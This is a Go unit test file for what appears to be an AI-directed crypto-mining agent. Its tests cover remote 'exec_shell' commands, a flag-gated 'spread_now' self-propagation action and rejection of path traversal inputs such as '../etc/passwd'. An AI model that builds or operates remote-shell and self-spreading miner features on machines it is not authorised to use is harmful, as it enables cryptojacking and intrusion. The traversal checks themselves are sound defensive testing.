Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
138 lines
3.6 KiB
Go
138 lines
3.6 KiB
Go
package client
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
|
|
cases := []string{
|
|
"../etc/passwd",
|
|
"/home/user/../../secret",
|
|
`C:\Users\alice\..\admin`,
|
|
}
|
|
for _, path := range cases {
|
|
if err := validateAICommandPath(path); err == nil {
|
|
t.Fatalf("expected traversal rejection for %q", path)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidateAICommandPathAllowsSafePaths(t *testing.T) {
|
|
for _, path := range []string{"", "~/Downloads", "C:\\Users\\alice\\docs"} {
|
|
if err := validateAICommandPath(path); err != nil {
|
|
t.Fatalf("path %q: %v", path, err)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestHandleAIExecShellRejectsTraversalPath(t *testing.T) {
|
|
var gotAction string
|
|
var gotOK bool
|
|
var gotMsg string
|
|
c := newTestClient(t)
|
|
c.commandResultHook = func(action string, success bool, message string) {
|
|
gotAction = action
|
|
gotOK = success
|
|
gotMsg = message
|
|
}
|
|
c.handleAICommand("exec_shell", 0, "echo hi", "../outside", "")
|
|
if gotAction != "exec_shell" || gotOK || !strings.Contains(gotMsg, "path traversal") {
|
|
t.Fatalf("got action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg)
|
|
}
|
|
}
|
|
|
|
func TestHandleAIExecShellRequiresCommand(t *testing.T) {
|
|
var gotMsg string
|
|
c := newTestClient(t)
|
|
c.commandResultHook = func(_ string, success bool, message string) {
|
|
if !success {
|
|
gotMsg = message
|
|
}
|
|
}
|
|
c.handleAICommand("exec_shell", 0, "", "", "")
|
|
if !strings.Contains(gotMsg, "command is required") {
|
|
t.Fatalf("msg=%q", gotMsg)
|
|
}
|
|
}
|
|
|
|
func TestHandleAIRunDiagnostics(t *testing.T) {
|
|
var gotAction string
|
|
var gotOK bool
|
|
c := newTestClient(t)
|
|
c.commandResultHook = func(action string, success bool, _ string) {
|
|
gotAction = action
|
|
gotOK = success
|
|
}
|
|
c.handleAICommand("run_diagnostics", 0, "", "", "")
|
|
if gotAction != "run_diagnostics" || !gotOK {
|
|
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
|
|
}
|
|
}
|
|
|
|
func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) {
|
|
var gotOK bool
|
|
var gotMsg string
|
|
c := newTestClient(t)
|
|
c.cfg.AutoSpread = false
|
|
c.cfg.RemoteAggressive = false
|
|
c.commandResultHook = func(_ string, success bool, message string) {
|
|
gotOK = success
|
|
gotMsg = message
|
|
}
|
|
c.handleAICommand("spread_now", 0, "", "", "")
|
|
if gotOK || !strings.Contains(gotMsg, "not enabled") {
|
|
t.Fatalf("ok=%v msg=%q", gotOK, gotMsg)
|
|
}
|
|
}
|
|
|
|
func TestHandleAICommandUnknownAction(t *testing.T) {
|
|
c := newTestClient(t)
|
|
if c.handleAICommand("not_an_ai_command", 0, "", "", "") {
|
|
t.Fatal("unknown action should not be handled")
|
|
}
|
|
}
|
|
|
|
func TestAICommandHandlersCoverRequiredActions(t *testing.T) {
|
|
required := []string{
|
|
"exec_shell", "restart_mining", "run_diagnostics",
|
|
"discover_and_join", "spread_now", "full_sys_check",
|
|
}
|
|
for _, action := range required {
|
|
if _, ok := aiCommandHandlers[action]; !ok {
|
|
t.Fatalf("missing handler for %q", action)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestHandleAIRestartMining(t *testing.T) {
|
|
var gotAction string
|
|
var gotOK bool
|
|
c := newTestClient(t)
|
|
c.commandResultHook = func(action string, success bool, _ string) {
|
|
gotAction = action
|
|
gotOK = success
|
|
}
|
|
c.handleAICommand("restart_mining", 0, "", "", "")
|
|
if gotAction != "restart_mining" || !gotOK {
|
|
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
|
|
}
|
|
}
|
|
|
|
func TestHandleAIFullSysCheck(t *testing.T) {
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.GetBuiltinConfig(), AgentID: "a1"}
|
|
c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool}
|
|
var gotOK bool
|
|
c.commandResultHook = func(action string, success bool, _ string) {
|
|
if action == "full_sys_check" {
|
|
gotOK = success
|
|
}
|
|
}
|
|
c.handleAICommand("full_sys_check", 0, "", "", "")
|
|
if !gotOK {
|
|
t.Fatal("expected full_sys_check success")
|
|
}
|
|
}
|